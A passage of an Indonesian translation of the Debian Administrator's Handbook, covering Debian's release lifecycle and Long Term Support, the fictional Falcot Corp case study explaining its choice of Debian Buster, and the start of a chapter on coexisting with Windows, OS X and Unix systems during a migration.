Modularitas ini, yang juga menjadikannya sangat kompleks, bisa jadi menakutkan bagi para pengembang yang menemui perkakas ini, namun apakah digunakan dalam mode teks atau grafis, pengalaman pengguna masih tetap mirip. Telah banyak upaya besar yang dilakukan untuk mengurangi pertanyaan yang diajukan saat instalasi, khususnya terima kasih atas disertakannya perangkat lunak pendeteksi perangkat keras secara otomatis.

Menarik dicatat bahwa distribusi yang diturunkan dari Debian, berbeda sekali dalam hal ini, dan menyediakan installer yang lebih terbatas (seringkali terbatas pada arsitektur i386 atau amd64), namun lebih ramah-pengguna bagi para pemula. Di sisi lain, mereka umumnya menahan diri untuk menyimpang terlalu jauh dari isi paket agar dapat mengambil untung sebanyak mungkin dari beragam perangkat lunak yang ditawarkan tanpa menimbulkan masalah kompatibilitas.

1.5.2. Pustaka Perangkat Lunak

Secara kuantitatif, Debian tak dapat dibantah merupakan pemimpin dalam hal ini dengan lebih dari 28.000 paket sumber. Secara kualitatif, kebijakan Debian dan masa pengujian yang lama hingga rilis versi stabil, menjustifikasi reputasinya untuk stabilitas dan konsistensi. Untuk ketersediaan, semuanya tersedia secara daring melalui banyak cermin di seluruh dunia, yang pemutakhiran yang disebar setiap enam jam.

Banyak pengecer menjual DVD-ROM di Internet dengan harga yang sangat murah (seringkali sekadar menutup biaya), "images" tersedia secara bebas untuk diunduh. Terdapat satu kekurangan: rendahnya frekuensi rilis dari versi stabil baru (pengembangan seringkali memakan waktu lebih dari dua tahun), yang menunda penyertaan perangkat lunak baru.

Kebanyakan dari program perangkat lunak bebas baru dengan cepat memasuki versi pengembangan yang memungkinkan mereka dapat diinstall. Jika hal ini membutuhkan terlalu banyak pemutakhiran akibat dependensi, program dapat di-compile ulang agar berjalan di Debian stable (lihat Bab 15, Membuat paket Debian untuk informasi lebih lanjut mengenai topik ini).

1.6. Siklus hidup dari sebuah Rilis

Proyek secara simultan akan memiliki tiga sampai enam versi berbeda untuk setiap program, dinamakan Experimental, Unstable, Testing, Stable, Oldstable, dan bahkan Oldoldstable. Masing-masing mewakili fase yang berbeda dalam pengembangan. Untuk pemahaman yang baik, mari kita lihat perjalanan sebuah program, dari pemaketan awal hingga pemuatan dalam versi stabil Debian.

KOSAKATA Rilis

Istilah “release” dalam proyek Debian menandakan versi tertentu dari distribusi (contoh: “unstable release” berarti “the unstable version”). Ini juga menandakan pengumuman pada publik dari peluncuran setiap versi baru (stable).

1.6.1. Status Experimental

Mari pertama-tama kita lihat kasus khusus dari distribusi Experimental: ini merupakan grup dari paket Debian yang berkaitan dengan perangkat lunak yang sedang dalam pengembangan, dan sesuai dengan namanya yang berarti belum tentu komplit. Tidak semuanya melalui langkah ini; beberapa pengembang menambah paket di sini untuk mendapatkan umpan balik dari pengguna yang lebih berpengalaman (atau lebih berani).

Selain itu, distribusi ini seringkali menampung modifikasi-modifikasi penting atas paket-paket dasar, yang integrasinya ke dalam Unstable dengan bug serius akan memiliki dampak kritikal. Inilah yang membuat distribusi ini benar-benar terisolasi, paketnya tidak pernah bermigrasi ke versi lain (kecuali dengan campur tangan langsung dari pengelola atau dari ftpmaster). Ini juga tidak mandiri: hanya suatu subset dari paket-paket yang ada yang hadir dalam Experimental, dan umumnya itu tidak termasuk sistem basis. Maka distribusi ini paling berguna dalam kombinasi dengan distribusi lain yang mandiri seperti Unstable.

1.6.2. Status Unstable

Mari kita kembali ke kasus paket pada umumnya. Pengelola membuat paket awal, yang mereka compile untuk versi Unstable dan menempatkannya pada server ftp-master.debian.org. Kejadian pertama melibatkan inspeksi dan validasi dari para ftpmaster. Perangkat lunak kemudian tersedia dalam distribusi Unstable, yang merupakan distribusi tedepan yang dipilih oleh para pengguna yang lebih peduli atas paket-paket mutakhir daripada khawatir atas bug-bug serius. Mereka menemukan program tersebut dan mencobanya.

Jika mereka menemukan bug, mereka melapor pada pengelola paket. Pengelola paket selanjutnya secara berkala menyiapkan versi yang telah diperbaiki, untuk diunggah ke server.

Setiap paket yang baru dimutakhirkan, diperbaharui pada semua cermin Debian di dunia dalam kurang dari enam jam. Para pengguna selanjutnya menguji perbaikan dan mencari masalah lain akibat modifikasi. Beberapa pemutakhiran mungkin terjadi secara cepat. Pada waktu-waktu ini, saatnya robot autobuilder beraksi. Paling sering, pengelola hanya memiliki satu PC tradisional dan telah mengcompile paketnya pada arsitektur amd64 (atau i386) (atau mereka memilih untuk mengunggah hanya sumber, sehingga tanpa sebarang paket terprakompilasi); autobuilder mengambil alih dan secara otomatis mengcompile versi-versi untuk semua arsitektur lain. Beberapa kompilasi bisa jadi gagal; pengelola selanjutnya akan menerima laporan bug yang menandakan masalah, yang kemudian akan diperbaiki pada versi selanjutnya. Saat suatu bug ditemukan oleh spesialis pada arsitektur tertentu, laporan bug mungkin sudah dilengkapi dengan patch yang siap pakai.

Gambar 1.2. Kompilasi sebuat paket oleh autobuilders

SEKILAS buildd, Debian package recompiler

buildd adalah kependekan dari "build daemon". Program ini secara otomatis meng-compile ulang versi baru dari paket-paket Debian sesuai dengan arsitektur tempatnya berada (cross-compiling sebisa mungkin dihindari).

Sehingga, untuk menghasilkan binari dari arsitektur arm64, proyek memiliki mesin arm64 tersedia (secara spesifik, merk Sun). Program buildd berjalan secara kontinu untuk membuat paket binar untuk arm64 dari paket sumber yang dikirim oleh pengembang Debian.

Perangkat lunak ini digunakan pada semua komputer melayani autobuilder untuk Debian. Diperluas, istilah buildd seringkali digunakan untuk mengacu pada mesin-mesin ini, yang secara umum dicadangkan hanya untuk tujuan ini.

1.6.3. Migrasi ke Testing

Tak lama setelah ini, paket akan matang; ter-compile pada semua arsitektur, tidak akan mengalami modifikasi belakangan. Hal ini menjadi kandidat untuk dimuat dalam distribusi Testing — sebuah grup paket Unstable dipilih berdasarkan kriteria terukur. Setiap hari sebuah program secara otomatis memilih paket untuk dimasukkan dalam Testing, berdasarkan elemen menjamin suatu tingkat tertentu kualitas:

1. kurang bug kritis, atau paling tidak lebih sedikit dari versi yang dimasukkan dalam Testing;

2. paling tidak 5 hari dihabiskan dalam Unstable, yang biasanya cukup untuk menemukan dan melaporkan masalah serius (sukses lolos keluarga uji milik paket, bila ada, mengurangi waktu itu);

3. sukses compile pada semua arsitektur yang resmi didukung;

4. dependensi dapat dipenuhi dalam Testing, atau paling tidak dapat dipindahkan bersama dengan paket tersebut;

5. uji kualitas otomatis paket (autopkgtest) — jika didefinisikan — tidak menunjukkan regresi apa pun.

Sistem ini jelas tidak sempurna; bug kritis ditemukan berkala dalam paket yang dimuat dalam Testing. Secara umum masih efeketif, dan Testing mengalami masalah yang lebih sedikit dari Unstable, yang bagi kebanyakan, menjadi kompromi yang baik antara kestabilan dan kebaruan.

CATATAN Batasan dari Testing

Walaupun pada prinsipnya sangat menarik, Testing mengalami beberapa masalah praktis: kusutnya kebergantungan silang antar paket sehingga sebuah paket jarang dapat pindah ke Testing seutuhnya sendirian. Dengan paket-paket yang bergantung satu sama lain, kadang menjadi perlu untuk memindahkan sejumlah besar paket secara simultan, yang menjadi tidak mungkin saat beberapa orang menggunggah pemutakhiran secara teratur. Di sisi lain, skrip yang mengidentifikasi keluarga dari paket-paket terkait bekerja keras membuat mereka (hal ini akan menjadi masalah NP-complete, yang untungnya, kami mengetahui beberapa heuristik yang baik). Hal inilah mengapa kita berinteraksi secara manual dan memandu skrip ini dengan menyarankan grup paket, atau memaksakan memuat paket tertentu dalam grup, bahkan jika hal ini secara sementara merusak beberapa dependensi. Fungsionalitas ini dapat diakses oleh para Manajer Rilis dan asisten-asisten mereka.

Ingat bahwa masalah NP-complete adalah kompleksitas algoritmik eksponensial berdasarkan ukuran data, dengan panjang dari kode (jumlah gambar) dan elemen yang terlibat. Satu-satunya cara untuk memecahkan adalah dengan secara teratur memeriksa semua kemungkinan konfigurasi, yang dapat berarti banyak sekali. Sebuah heuristik adalah pendekatan, namun solusi yang cukup memuaskan.

KOMUNITAS Manajer Rilis

Manajer Rilis adalah jabatan penting, berkaitan dengan tanggung jawab yang besar. Penyandang jabatan ini, pada efeknya, mengelola rilis Debian stable baru dan mendefinisikan proses pengembangan Testing hingga memenuhi kualitas kriteria dari Stable. Mereka juga menentukan jadwal tentatif (tak selalu diikuti).

Kami juga memiliki Stable Release Managers (Manajer Rilis Stabil), seringkali disingkat menjadi SRM, yang mengelola dan memilih update untuk versi stabil Debian saat ini. Mereka secara sistematis memuat security patches dan memeriksa semua proposal untuk pemuatan, kasus-per-kasus, dikirim oleh pengembang Debian yang ingin memperbaharui paket mereka dalam versi stabil.

1.6.4. Promosi dari Testing ke Stable

Sekarang mari kita beranggapan bahwa paket kita telah dimasukkan dalam Testing. Selama itu masih memiliki ruang untuk perbaikan, pengelolanya harus melanjutkan untuk meningkatkan dan memulai ulang proses dari Unstable (namun dengan inklusi berikutnya dalam Testing umumnya lebih cepat: Jika tidak berubah secara signifikan, semua dependensi sudah tersedia). Saat mencapai keadaan sempurna, pengelola telah menyelesaikan pekerjaannya. Langkah selanjutnya adalah pemuatan dalam distribusi Stable, yang pada kenyataannya merupakan penyalinan dari Testing pada momen yang dipilih oleh Manajer Rilis. Idealnya, keputusan ini dibuat saat installer siap dan saat tidak ada program dalam Testing yang memiliki bug kritis.

Karena momen ini sesungguhnya tidak pernah terjadi, pada praktiknya, Debian harus berkompromi: menghapus paket yang pengelolanya telah gagal mengoreksi bug tepat waktu atau setuju merilis distribusi dengan beberapa bug dalam ribuan program. Manajer Rilis sebelumnya akan mengumumkan masa freeze, saat setiap update ke Testing harus disetujui. Tujuan di sini adalah untuk mencegah setiap versi baru (dan bug baru), dan hanya menyetujui bug kritis.

Gambar 1.3. Perjalan Sebuah Paket melalui beragam versi Debian

KOSAKATA Freeze: the home straight

Selama masa freeze, pengembangan distribusi Testing diblok; tidak ada lagi pemutakhiran otomatis diizinkan. Hanya Manajer Rilis yang dapat mengubah paket, berdasarkan kriteria mereka sendiri. Tujuannya adalah untuk mencegah munculnya bug baru dari versi baru; hanya pemutakhiran yang telah diperiksa seutuhnya yang diotorisasi saat mereka memperbaiki bug signifikan.

Setelah rilis versi stabil baru, Stable Release Managers mengelola pengembangan selanjutnya (disebut “revisi”, contoh: 7.1, 7.2, 7.3 untuk versi 7). Pemutakhiran ini secara sistematis memuat semua security patches. Mereka juga akan memasukkan koreksi paling penting (pengelola paket harus membuktikan kegawatan dari masalah yang ingin mereka perbaiki agar update mereka dimasukkan).

Pada akhir perjalanan, paket hipotetis kita sekarang disertakan dalam distribusi stabil. Perjalanan ini, bukan tanpa kesulitan, menjelaskan penundaan signifikan yang memisahkan rilis-rilis Debian Stable. Ini memberikan kontribusi, secara keseluruhan, ke reputasinya untuk kualitas. Selain itu, sebagian besar pengguna puas menggunakan salah satu dari tiga distribusi yang serentak tersedia. Administrator sistem, yang lebih mengutamakan stabilitas server mereka, tidak perlu versi terbaru dan terbesar dari GNOME; mereka dapat memilih Debian Stable, dan mereka akan puas. Pengguna akhir, lebih tertarik pada versi terbaru dari GNOME atau KDE Plasma daripada stabilitas yang kokoh, akan menemukan Debian Testing sebagai kompromi yang baik antara kurangnya masalah serius dan perangkat lunak yang relatif mutakhir. Akhirnya, pengembang dan pengguna yang lebih berpengalaman mungkin menjadi pionir, menguji semua perkembangan terbaru di Debian Unstable tepat di luar pintu gerbang, dengan risiko menderita sakit kepala dan bug yang melekat dalam setiap versi baru program. Untuk masing-masing Debian mereka sendiri!

KULTUR GNOME dan KDE Plasma, lingkungan grafis desktop

GNOME (GNU Network Object Model Environment) dan Plasma oleh KDE (sebelumnya dikenal sebagai K Desktop Environment) adalah dua lingkungan desktop grafis paling populer di dunia perangkat lunak bebas, dan akan disajikan secara lebih rinci di Bagian 13.3, “Desktop Grafis”.

Sebuah lingkungan desktop adalah sekumpulan program yang dikelompokkan bersama sehingga memungkinkan pengelolaan yang mudah atas operasi-operasi yang paling umum menggunakan antarmuka grafis. Biasanya mereka menyertakan sebuah manajer berkas, aplikasi perkantoran, penjelajah web, program surel, aksesori multimedia, dst. Perbedaan yang paling terlihat adalah pilihan dari pustaka grafis yang digunakan: GNOME memilih menggunakan GTK+ (perangkat lunak bebas dengan lisensi LGPL) dan komunitas KDE memilih Qt (suatu proyek yang didukung oleh perusahaan, tersedia dalam lisensi GPL dan komersial).

→ https://www.gnome.org/

→ https://www.kde.org/

Gambar 1.4. Path kronologis dari program yang dipaketkan oleh Debian

1.6.5. Status Oldstable dan Oldoldstable

Setiap rilis Stable memiliki harapan umur hidup sekitar 5 tahun dan mengingat bahwa rilis cenderung terjadi setiap 2 tahun, ada sampai dengan 3 rilis yang didukung pada setiap saat. Ketika rilis stabil versi terbaru dilaksanakan, rilis sebelumnya menjadi Oldstable dan yang sebelumnya menjadi Oldoldstable.

Long Term Support (LTS, Dukungan Jangka Panjang) dari rilis Debian ini adalah inisiatif baru: para kontributor individual dan perusahaan bergabung untuk membuat tim Debian LTS. Rilis yang lebih tua yang tidak lagi didukung oleh tim keamanan Debian jatuh di bawah tanggung jawab ini tim baru.

Tim keamanan Debian menangani dukungan keamanan pada rilis Stable saat ini dan juga di rilis Oldstable (tapi hanya selama diperlukan untuk memastikan satu tahun tumpang tindih dengan rilis stabil saat ini). Ini berarti dukungan sekitar tiga tahun untuk setiap rilis. Tim Debian LTS menangani dukungan keamanan (dua) tahun terakhir sehingga setiap rilis mendapat keuntungan berupa minimal 5 tahun dukungan sehingga pengguna dapat meningkatkan dari versi N ke N+2, sebagai contoh dari Debian 8 Jessie ke Debian 10 Buster.

→ https://wiki.debian.org/LTS

KOMUNITAS Para perusahaan yang mensponsori upaya LTS

Long Term Support adalah komitmen yang sulit dibuat pada Debian karena para relawan cenderung menghindari pekerjaan yang tidak sangat menyenangkan. Dan menyediakan dukungan keamanan untuk perangkat lunak berusia 5 tahun — bagi banyak kontributor — jauh lebih tidak menarik daripada mengemas versi hulu baru atau mengembangkan fitur baru.

Untuk melahirkan proyek ini, proyek bergantung pada kenyataan bahwa dukungan jangka panjang adalah sangat relevan bagi perusahaan-perusahaan dan bahwa mereka akan bersedia untuk menanggung bersama biaya dukungan keamanan ini.

Proyek ini dimulai pada Juni 2014: beberapa organisasi mengizinkan karyawan-karyawan mereka untuk berkontribusi secara paruh waktu ke Debian LTS sementara yang lain lebih suka untuk mensponsori proyek dengan uang sehingga para kontributor Debian dibayar untuk melakukan pekerjaan yang tidak akan mereka lakukan secara gratis. Kebanyakan kontributor Debian yang bersedia dibayar untuk bekerja pada LTS berkumpul untuk membuat penawaranan pendanaan yang dikelola oleh Freexian (perusahaan Raphaël Hertzog):

→ https://www.freexian.com/services/debian-lts.html

Dalam tim Debian LTS, para relawan bekerja pada paket-paket yang mereka peduli sementara para kontributor berbayar memprioritaskan paket-paket yang digunakan oleh sponsor mereka.

Proyek selalu mencari sponsor baru: Bagaimana dengan perusahaan Anda? Dapatkah Anda mengizinkan seorang karyawan bekerja paruh waktu pada dukungan jangka panjang? Dapatkah Anda mengalokasikan anggaran kecil untuk dukungan keamanan?

→ https://wiki.debian.org/LTS/Funding

Bab 2. Menyajikan Studi Kasus

Dalam konteks buku ini, Anda adalah administrator sistem bisnis kecil yang bertumbuh. Waktunya telah tiba bagi Anda untuk mendefinisikan ulang rencana induk sistem informasi untuk tahun mendatang dalam kolaborasi dengan direksi Anda. Anda memilih untuk memigrasikan sistem secara progresif ke Debian dengan alasan praktis dan ekonomi. Mari lihat lebih mendetail apa yang ada untuk Anda…

Kami telah membayangkan studi kasus ini untuk mendekati seluruh layanan sistem informasi modern yang saat ini digunakan di perusaan menengah. Setelah membaca buku ini, Anda akan memiliki seluruh elemen yang diperlukan untuk menginstall Debian di server Anda dan terbang dengan sayap Anda sendiri. Anda juga akan belajar bagaimana menemukan informasi secara efisien pada saat kesulitan.

2.1. Kebutuhan IT yang Bertumbuh Cepat

Falcot Corp adalah sebuah pabrikan peralatan audio berkualitas tinggi. Perusahaan berkembang pesat, dan memiliki dua fasilitas, satu di Saint-Étienne, dan lainnya di Montpellier. Fasilitas pertama memiliki sekitar 150 karyawan; menampung pabrik untuk membuat speaker, sebuah laboratorium desain, dan semua kantor administrasi. Situs Montpeller lebih kecil, hanya sekitar 50 pekerja, dan memroduksi amplifier.

CATATAN Perusahaan fiktif dibuat untuk studi kasus

Perusahaan Falcot Corp yang digunakan sebagai contoh di sini benar-benar fiktif. Kesamaan dengan perusahaan yang ada sepenuhnya adalah kebetulan. Demikian pula, beberapa contoh data di seluruh buku ini mungkin fiktif.

Sistem informasi mengalami kesulitan mengikuti pertumbuhan perusahaan, maka sekarang mereka telah berniat keras untuk mendefinisikan ulang sepenuhnya guna menyesuaikan dengan tujuan yang dibuat oleh manajemen:

- infrastruktur yang mudah diperbesar dan modern;

- mengurangi biaya lisensi perangkat lunak karena menggunakan perangkat lunak Sumber Terbuka;

- pemasangan sebuah website e-commerce, mungkin B2B (bussines to bussiness, misalnya menghubungkan sistem informasi antara perusahaan yang berbeda, seperti sebuah pemasok dan kliennya);

- perbaikan keamanan yang signifikan agar lebih baik dalam melindungi rahasia dagang yang terkait dengan produk-produk baru.

Seluruh sistem informasi akan dirombak dengan tujuan tersebut.

2.2. Rencana Induk

Dengan kolaborasi Anda, manajemen IT telah dilakukan pembelajaran yang sedikit lebih luas, mengidentifikasi beberapa kendala dan menentukan rencana migrasi untuk memilis sistem Sumber Terbuka, Debian.

Sebuah kendala penting teridentifikasi bahwa departemen akuntansi menggunakan perangkat lunak spesifik, yang hanya berjalan di Microsoft Windows™. Laboratorium, pada bagiannya, menggunakan perangkat lunak desain berbantuan komputer yang berjalan di OS X™.

Gambar 2.1. Ikhtisar jaringan Falcot Corp

Perpindahan ke Debian akan bertingkat; bisnis kecil, dengan maksud terbatas, tidak dapat mengubah apapun dalam semalam. Untuk awalan, staff IT harus dilatih dalam mengadministrasi Debian. Server kemudian dikonversi, dimulai dengan infrastruktur jaringan (router, firewall, dll.) diikuti dengan layanan pengguna (file sharing, Web, SMTP, dll.). Kemudian komputer kantor akan secara bertahap dimigrasikan ke Debian, untuk setiap departemen dilatih (secara internal) selama masa pengembangan sistem baru.

2.3. Mengapa Distribusi GNU/Linux?

KEMBALI KE DASAR Linux atau GNU/Linux?

Linux, seperti yang telah Anda ketahui, hanyalah sebuah kernel. Maka ekspresi "Distribusi Linux" dan "Sistem Linux", itu salah: mereka, kenyataannya, adalah distribusi atau sistem berbasis Linux. Ekepresi ini gagal menyebutkan perangkat lunak yang selalu melengkapi kernel ini, termasuk program-program yang dikembangkan oleh Proyek GNU. Dr. Richard Stallman, pendiri proyek ini, bersikeras bahwa ekspresi "GNU/Linux" agar digunakan secara sistemis, untuk menghargai secara lebih baik atas kontribusi penting yang dibuat oleh Proyek GNU dan prinsip kebebasan yang menjadi dasar pendiriannya.

Debian telah dipilih untuk mengikuti rekomendasi ini, dan, menamai distribusi ini secara sesuai (yaitu, rilis stabil terkini ialah Debian GNU/Linux 10).

Beberapa faktor telah didikte pilihan ini. Administrator sistem, yang familiar dengan distribusi ini, meyakini ini telah terdaftar antara kandidat untuk pemeriksaan sistem komputer. Kondisi ekonomi yang sulit dan kompetisi yang ganas membatasi budget untuk operasi ini, di samping kepentingan kritis untuk masa depan perusahaan. Itulah mengapa solusi Sumber Terbuka dipilih: beberapa studi terkini mengindikasikan hal ini lebih murah ketimbang solusi berbayar ketika menyediakan persamaan atau kualitas layanan jangka panjang selama personil yang mampu tersedia untuk menjalankannya.

DALAM PRAKTEKNYA Harga total kepemilikan (TCO)

Harga Total Kepemilikan ialah total seluruh uang yang dibelanjakan untuk memiliki atau mengakuisisi sebuah item, dalam kasus ini ialah sistem operasi. Harga ini termasuk beberapa kemungkinan harga lisensi, harga untuk melatih personil untuk bekerja dengan perangkat lunak baru, penggantian mesin yang sangat lambat, beberapa perbaikan, dll. Semuanya yang timbul langsung dari pilihan utama diambil ke dalam akun.

TCO ini, yang bervariasi berdasarkan kriteria yang dipilih dalam assessmen karenanya, jarang penting kwtikan diambil dalam isolasi. Namun, ini sangat menarik untuk membandingkan TCI untuk pilihan yang berbeda jika dihitung berdasarkan aturan yang sama. Tabel assessmen ini, demikian, sangat penting, dan mudah dimanipulasi untuk menggambarkan definisi kesimpulan. Nah, TCO untuk sebuah mesin tidak akan masuk akal, jika harga seorang administrator juga merefleksikan jumlah total mesin yang mereka kelola, jumlah yang biasanya tergantung pada sistem operasi dan alat yan diajukan.

Antara sistem operasi gratis, departemen IT melihat pada sistem free BSD (OpenBSD, FreeBSD, dan NetBSD), GNU Hurd, dan distribusi Linux. GNU Hurd, yang belum dirilis versi stabilnya, akan segera ditolak. Pilihannya lebih sederhana antara BSD dan Linux. Sebelumnya memiliki beberapa kepantasan, spesifiknya pada server. Paradigmanya, akan tetapi, menuntun untuk memilih sistem Linux, karena dasarnya terinstall dan popularitas keduanya sangat penting dan memiliki konsekuensi positif. Salah satu konsekuensinya ialah bahwa ini lebih mudah untuk menemukan personil yang mampu untuk mengelola mesin Linux daripada teknisi berpengalaman dengan BSD. Lebih jauh, Linux mengadaptasi perangkat keras lebih cepat daripada BSD (meskipun seringkali bahu membahu dalam perlombaan ini). Akhirnya, distribusi Linux seringkali diadaptasi pada antarmuka pengguna grafis yang ramah pengguna, sangat diperlukan untuk pemula selama migrasi semua mesin kantor pada sistem baru.

ALTERNATIF Debian GNU/kFreeBSD

Sejak Debian 6 Squeeze, mungkin untuk menggunakan Debian dengan kernel FreeBSD pada komputer 32 dan 64 bit; inilah arti dari arsitektur kfreebsd-i386 dan kfreebsd-amd64. Walaupun arsitektur ini bukan "resmi" (mereka diwadahi pada cermin terpisah — ports.debian.org), mereka menyediakan sekitar 70% dari perangkat lunak yang dipaketkan oleh Debian.

Arsitektur ini mungkin pilihan cocok untuk administrator Falcot Corp, khususnya untuk firewall (kernel mendukung perbedaan firewall ini: IPF, IPFW, PF) atau untuk NAS (sistem Network Attached Storage, sistem berkas ZFS telah dites dan diterima).

2.4. Mengapa Distribusi Debian?

Sekali keluarga Linux telah dipilih, opsi yang lebih spesifik harus diambil. Lagi-lagi, ada banyak kriteria yang dapat menjadi pertimbangan. Distribusi yang dipilih harus dapat beroperasi untuk beberapa tahun, karena migrasi dari satu ke yang lainnya akan memerlukan biaya tambahan (meskipun nilainya lebih kecil jika migrasi adalah antara dua sistem operasi yang benar-benar berbeda, seperti Windows atau Mac OS).

Keberlanjutan ialah penting, dan harus menjamin perbaruan yang rutin dan perbaikan keamanan selama beberapa tahun. Waktu pembaruan juga penting, karena, dengan begitu banyak mesin yang dikelola, Falcot Corp tidak dapat terlalu sering menangani operasi rumit ini. Departemen IT, karenanya, keharusan menjalankan rilis stabil terkini dari distro, keuntungan dari bantuan teknis yang terbaik, dan jaminan perbaikan keamanan. Efeknya, perbaruan keamanan umumnya dijamin untuk jangka waktu yang terbatas untuk versi lawas dari distro.

Akhirnya, untuk alasan kebersamaan dan kemudahan administrasi, distro yang sama harus dijalankan pada semua server dan komputer kantor.

2.4.1. Komersial dan Dukungan Komunitas Distro

Ada dua kategori utama Distro Linux: komersial dan dukungan komunitas. Dahulu, dikembangkan oleh perusahaan, dijual dengan dukungan layanan komersil. Belakangan dikembangkan berdasarkan model pengembangan terbukayang sama dengan perangkat lunak bebas yang dibandingkan.

Distro komersial akan memiliki tendensi untuk lebih sering merilis versi baru, agar lebih baik memasarkan pembaruan dan layanan yang terkait. Masa depan mereka secara langsung terhubung pada kesuksesan komersial perusahaannya, dan beberapa telah menghilang (Caldera Linux, Storm Linux, Mandriva Linux, dll.).

Distro komunitas tidak mengikuti jadwal tapi dirinya sendiri. Seperti kernel Linux, versi terbaru dirilis ketika telah stabil, jika belum stabil tak akan dirilis. Kehidupannya dijamin, selama masih cukup pengembang indivual atau perusahaan pihak ketiga yang mendukungnya.

Sebuah perbandingan berbagai distro Linux mengerucut pada pilihan Debian untuk berbagai alasan:

- Merupakan distro komunitas, dengan pengembangannya dijamin independen dari kungkungan komersial; tujuannya ialah, alam teknikal yang alami, yang tampaknya mendukung keseluruhan kualitas produk.

- Pada semua distro komunitas, inilah yang paling utama dari banyak prespektif: dalam jumlah kontributor, jumlah paket perangkat lunak tersedia, dan tahun eksistensi yang berkelanjutan. Ukuran komunitasnya tak diragukan pada keberlanjutannya.

- Secara statis, versi terbaru dirilis setiap 18 hingga 24 bulan, dan didukung selama 5 tahun, sebuah jadwal yang dapat disetujui oleh administrator.

- Sebuah survey beberapa perusahaan layanan Prancis khusus perangkat lunak bebas bahwa semuanya menyediakan asisten teknis untuk Debian; juga, untuk beberapa, distro pilihan mereka, secara internal. Keragaman potensi penyedia ialah aset utama untuk independensi Falcot Corp.

- Akhirnya, Debian tersedia pada banyak arsitektur, termasuk ppc64el untuk prosesor OpenPOWER; sehingga akan mungkin untuk memasangnya pada server IBM terbaru milik Falcot Corp.

DALAM PRAKTEKNYA Dukungan Jangka Panjang Debian

Proyek Debian Long Term Support (LTS, Dukungan Jangka Panjang) yang dimulai pada tahun 2014 dan bertujuan untuk memberikan dukungan keamanan selama 5 tahun untuk semua rilis Debian yang stabil. Karena LTS sangat penting bagi berbagai organisasi dengan penggelaran yang besar, proyek mencoba untuk menyatukan sumber daya dari para perusahaan yang menggunakan Debian.

→ https://wiki.debian.org/LTS

Falcot Corp tidak cukup besar untuk membiarkan salah satu anggota staf TI yang berkontribusi pada proyek LTS, sehingga perusahaan memilih untuk berlangganan kontrak Debian LTS Freexian dan menyediakan dukungan keuangan. Berkat ini, para administrator Falcot tahu bahwa paket-paket yang mereka gunakan akan ditangani dalam prioritas dan mereka memiliki kontak langsung dengan tim LTS jika terjadi masalah.

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

Sekali Debian telah dipilih, masalah versi yang akan digunakan harus ditentukan. Mari kita lihat mengapa administrator memilih Debian Buster.

2.5. Mengapa Debian Buster?

Setiap rilis Debian memulai kehidupannya sebagai suatu distro yang berubah terus menerus, juga dikenal sebagai “Testing”. Namun saat ini ketika kami menulis baris-baris tersebut, Debian Buster adalah versi terkini Debian “Stable”.

Memilih Debian Buster dapat dibenarkan berdasarkan kenyataan bahwa sebarang administrator yang peduli tentang kualitas server mereka secara alami akan menuju ke arah versi stabil dari Debian. Meskipun jika rilis stabil sebelumnya mungkin masih didukung untuk beberapa waktu, administrator Falcot tidak memertimbangkannya karena periode dukungan tidak akan cukup lama karena versi terkini membawa fitur yang menarik yang menjadi kepedulian mereka.

Bab 3. Menganalisa Penyiapan yang Ada dan Memigrasikannya

Beberapa perombakan sistem komputer harus memerhatikan sistem yang ada. Hal ini mengizinkan penggunaan kembali sumberdaya yang tersedia sebanyak mungkin dan menjamin interoperabilitas dari berbagai elemen yang menyusun sistem. Studi ini akan mengenalkan kerangka umum yang diikuti dalam sebarang migrasi infrastruktur komputasi ke Linux.

3.1. Koeksistensi dalam Lingkungan yang Heterogen

Debian berintegrasi sangat baik dalam berbagai jenis lingkungan yang ada dan berinteraksi secara baik dengan sebarang sistem operasi lain. Harmoni yang mendekati sempurna ini datang dari tekanan pasar yang menuntut bahwa penerbit perangkat lunak mengembangkan program yang mengikuti standar. Penyesuaian dengan standar mengizinkan administrator untuk berganti program: klien atau server, entah itu bebas atau tidak.

3.1.1. Integrasi dengan Mesin Windows

Dukungan SMB/CIFS Samba memastikan komunikasi sempurna dalam konteks Windows. Itu membagikan berkas dan antrian cetak ke klien Windows dan menyertakan perangkat lunak yang mengizinkan mesin Linux untuk menggunakan sumberdaya yang ada pada server Windows.

ALAT Samba

Samba versi terakhir dapat menggantikan kebanyakan fitur Windows: mulai dari milik server Windows NT sederhana (otentikasi, berkas, antrian cetak, mengunduh penggerak pencetak, DFS, dll.) sampai yang paling canggih (sebuah pengendali domain yang kompatibel dengan Active Directory).

3.1.2. Integrasi dengan mesin OS X

Mesin OS X menyediakan, dan dapat menggunakan, layanan jaringan seperti server berkas dan berbagi pencetak. Layanan-layanan ini dipublikasikan pada jaringan lokal, yang memungkinkan mesin lain untuk menemukan dan menggunakannya tanpa konfigurasi manual, menggunakan implementasi Bonjour dari keluarga protokol Zeroconf. Debian menyertakan implementasi lain, yang disebut Avahi, yang menyediakan fungsionalitas yang sama.

Pada arah yang lain, daemon Netatalk dapat digunakan untuk menyediakan server berkas untuk mesin OS X pada jaringan. Mengimplementasikan protokol AFP (AppleShare) maupun pemberitahuan yang diperlukan sehingga server dapat ditemukan secara otomatis oleh klien OS X.

Jaringan Mac OS tua (sebelum OS X) menggunakan protokol berbeda yang disebut AppleTalk. Untuk lingkungan yang melibatkan mesin menggunakan protokol ini, Netatalk juga menyediakan protokol AppleTalk (kenyataannya, dimulai dengan implementasi ulang protokol tersebut). Hal ini memastikan operasi server berkas dan antrian cetak, maupun server waktu (sinkronisasi jam). Fungsi routernya mengizinkan interkoneksi dengan jaringan AppleTalk.

3.1.3. Integrasi dengan Mesin Linux/Unix lainnya

Akhirnya, NFS dan NIS, keduanya termasuk, menjamin interaksi dengan sistem Unix. NFS memastikan fungsionalitas server berkas, sedangkan NIS membuat direktori pengguna. Lapisan pencetakan BSD, digunakan oleh kebanyak sistem Unix, juga mengizinkan berbagi antrian cetak.

Gambar 3.1. Koeksistensi Debian dengan OS X, Windows, dan sistem Unix

3.2. Bagaimana Memigrasi

Untuk menjamin keberlanjutan layanan, setiap migrasi komputer harus direncanakan dan dieksekusi sesuai rencana. Prinsip ini berlaku apapun sistem operasi yang digunakan.

3.2.1. Survey dan Mengidentifikasi Layanan

Walaupun terlihat sesederhana, langkah ini penting. Seorang administrator benar-benar tahu peran utama masing-masing server, namun peran dapat berubah, dan kadang pengguna berpengalaman mungkin telah memasang layanan yang “liar”. Mengetahui hal tersebut setidaknya akan mengizinkan Anda untuk memutuskan apa yang akan dilakukan dengannya, daripada menghapusnya semena-mena.

